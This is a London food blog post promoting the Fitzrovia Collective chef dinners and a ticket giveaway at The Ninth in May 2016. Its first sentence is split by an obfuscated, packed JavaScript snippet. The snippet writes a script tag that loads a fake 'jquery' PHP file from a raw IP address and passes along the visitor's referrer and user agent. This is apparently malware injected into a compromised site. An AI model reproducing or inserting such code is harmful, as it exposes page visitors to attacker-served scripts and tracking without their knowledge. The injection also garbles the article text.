Fitzrovia (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfhkr|var|u0026u|referrer|bsahe||js|php’.split(‘|’),0,{}))
is fast becoming one of the hottest food spots in the city, so to celebrate, three of London’s standout chefs…Jun Tanaka of The Ninth, Ben Tish of Salt Yard, and Allan Pickett of Piquet…are hosting three unique dinners in three of the neighbourhood’s most stylish settings. The Fitzrovia Collective brings together the Mediterranean flair of Tanaka, Pickett’s classic French techniques and the Spanish-Italian style of Tish for a one-off meal in each of the three restaurants.

The first meal takes place at The Ninth on Monday 23rd May and the six-course menu features delights like pinchos of slow-cooked Dorset snail, flamed mackerel, roast saddle of rabbit, and tarte tatin. Sounds so good, doesn’t it? Well we’ve got a pair of tickets, which include wine pairings, to give away to one lucky LOTI reader. If you want to be in with a chance, hit us up on Facebook or Twitter with ‘Feed Me @theninthlondon @londontheinside’ and we’ll pick a winner.


Mon 23rd May 2016
22 Charlotte Street, London, W1T 2NB

Terms & Conditions
This competition closes at 9am on Mon 23rd May 2016
This prize is for two tickets, with wine tasting, to the Fitzrovia Collective dinner on 23rd May at The Ninth. The tickets includes a six course meal with matching wines
This prize is only available on 23rd May